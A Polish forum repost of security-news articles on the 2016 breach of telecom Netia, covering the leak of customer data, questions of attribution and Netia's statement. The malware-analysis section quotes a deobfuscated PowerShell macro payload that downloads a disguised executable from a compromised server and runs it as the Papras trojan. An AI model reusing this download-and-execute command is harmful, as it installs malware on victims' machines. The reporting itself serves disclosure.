Włamania do zasobów Netii

[ichito]

Za Niebezpiecznikiem

Netia nie ma ostatnio szczęścia. Najpierw wybuch instalacji gaśniczej w jednej z serwerowni zdemolował część budynku i spowodował utratę danych z części serwerów. Teraz, ktoś włamał się na jeden z serwisów internetowych i z serwerów webowych Netii wykradł ponad 18 GB danych zawierających dane klientów operatora.
Włamanie do Netii i wyciek danych
Pierwsze informacje na temat włamania pojawiły się na Twitterze około południa. Konto, dokładnie 2 świeżo założone konta o wspólnej nazwie Lemberg ale dwóch różnych identyfikatorach (@evstoliyakalas2, @noskovfurs1994) spamowały media oraz polskich (w większości niezbyt sensownie wybranych) użytkowników Twittera linkami do także świeżo założonego konta @pravsector, które z kolei publikowało linki do wykradzionych baz danych:
(...)
W wykradzionych z serwerów Netii bazach danych znajdują się m.in. takie dane:    Imiona i nazwiska klientów Netii
    Adresy zamieszkania
    Numery telefonów
    Numery kont bankowych
    Adresy e-mail
    Wiadomości z formularzy kontaktowych

Łączny rozmiar wykradzionych baz przekracza 18GB. Ich pobranie musiało trochę trwać, ale atakującym pewnie sprzyjało zamieszanie związane z wybuchem instalacji gaśniczej w jednej z serwerowni Netii. A może pierwszy z incydentów jest powiązany z drugim? Pytań wokół tego włamania jest oczywiście więcej. Czy opublikowanie wykradzionych danych dokładnie na dzień przed startem szczytu NATO to przypadek, czy zaplanowane działanie? Nie jest też jasne kto stoi za włamaniem. Czy atakującym jest rzeczywiście ukraińska organizacja Pravyy Sektor? A może ktoś się pod nią podszywa? )))
Atakujący zdają się śledzić doniesienia prasowe na temat włamania — zachęcamy więc do kontaktu z nami. Z chęcią dowiemy się czegoś więcej na temat kulisów tego incydentu. Oczywiście gdyby pracownicy Netii znający sprawę też chcieli nam opowiedzieć o incydencie, także zapraszamy do kontaktu.

PS. To nie pierwsza kradzież danych klientów Netii — do podobnego incydentu doszło 3 lata temu. Bazę wystawiono wtedy na sprzedaż.

[Aby zobaczyć linki, zarejestruj się tutaj]

Do ciekawych wniosków doszła też w swoich badaniach Zaufana Trzecia Strona, analizując wydarzenia sprzed kilku miesięcy

Znaleźliśmy informacje wskazujące, że włamanie do serwera Netii którego konsekwencje mogliśmy dzisiaj obserwować mogło mieć miejsce dużo wcześniej, bo w kwietniu 2016. Dowodem jest próbka złośliwego oprogramowania z tego serwera…

Przypomnijmy – wczoraj poinformowaliśmy o włamaniu do serwera Netii oraz wycieku danych osobowych klientów. Co prawda Netia w swoim pierwszym oświadczeniu nie potwierdziła wycieku danych, lecz trudno zignorować istnienie plików o rozmiarach gigabajtów, w których znajdują się adresy WWW Netii, produkty Netii oraz potwierdzone przez nas dane osobowe klientów Netii sprzed kilku dni.  Szukając informacji o okolicznościach włamania na serwer investor.netia.pl znaleźliśmy próbkę złośliwego oprogramowania, która pobierana była własnie z tego serwera. Oznacza to, że albo doszło do dwóch włamań, albo włamywaczy nie udało się w kwietniu 2016 usunąć.
(...)
W serwisie VirusTotal znaleźć można dokument Worda (...) Sam dokument udaje urzędowy formularz, lecz w stopce zawiera prośbę o uruchomienie makro. Jak pewnie wiecie, uruchomienie makro może zaowocować wykonaniem złośliwego kodu. W tym wypadku faktycznie tak jest. Kod jest zaciemniony, jednak po jego wyczyszczeniu otrzymujemy następujące polecenie:

($t=$env:temp+'\looqe.exe');(New-Object System.Net.WebClient).DownloadFile('http://investor.netia.pl//files/ebil/uran.jpg', $t);Start-Process $t

Tak, Wasze oczy Was nie mylą. Złośliwy dokument Worda pobiera plik uran.jpg z serwera investor.netia.pl a następnie go wykonuje. Plik JPG to oczywiście ukryty plik EXE, w tym wypadku koń trojański Papras (dla zainteresowanych link do VT).

Wiemy, że wydarzenia te miały miejsce około 20 kwietnia 2016. Netia została poinformowana o incydencie i po dwóch dniach plik z koniem trojańskim zniknął z serwera. Nie wiemy jednak, czy plik został usunięty przez administratorów Netii czy też przez przestępców kontrolujących serwer.
Nasze wnioski

Być może po wykryciu infekcji Netia załatała błędy w serwerze i przez przypadek przestępcom udało się odkryć nowy błąd i ponownie dostać do serwera. Możliwe także, że cały czas dostęp do serwera posiadali i szykując się na małą destabilizację w Polsce 1 lipca pobrali wszystkie dostępne dane z serwera Netii i 7 lipca je opublikowali. Mamy nadzieję, że śledztwo Netii to wyjaśni i poznamy jego wyniki.

Aktualizacja 2016.07.08 9:30

Otrzymaliśmy zaktualizowane oświadczenie Netii, w którym firma potwierdza wyciek danych klientów:

7 lipca 2016 roku około południa strona internetowa netia.pl została zaatakowana przez hakerów. Hasła i loginy dostępu do NetiaOnline są bezpieczne, dlatego nie ma konieczności żadnych działań ze strony klientów.

Wszystkie serwisy obsługi klienta Netii działają prawidłowo. Eksperci analizują przebieg ataku. Podjęte aktywności pozwoliły zminimalizować skutki działań wymierzonych w firmę. We współpracy z wiodącymi na rynku specjalistami z zakresu cyberbezpieczeństwa niezwłocznie wzmocniliśmy ochronę naszych zasobów sieciowych.

Niemniej w wyniku ataku hakerzy dostali się do stron zawierających dane osób zgłaszających poprzez formularz chęć kontaktu ze strony Netii. Są to często fragmentaryczne wpisy, zawierające głównie numery telefonów kontaktowych.

Dodatkowo włamujący się na stronę uzyskali dostęp do danych z formularza umów zawieranych drogą elektroniczną, poprzez stronę internetową Netii. Netia pragnie zachować najdalej idącą ostrożność, dlatego wszyscy klienci, których może dotyczyć potencjalny wyciek, zostaną powiadomieni. Dotyczy to niewielkiej części abonentów firmy.

Sytuacja została ustabilizowana. Dane klientów oraz firm współpracujących są zabezpieczone przez ekspertów Netii, których wspomaga dodatkowy, wysoko wykwalifikowany, zewnętrzny zespół doradczy.

O dalszych szczegółach będziemy informowali na bieżąco wraz z postępem naszej kontroli.

[Aby zobaczyć linki, zarejestruj się tutaj]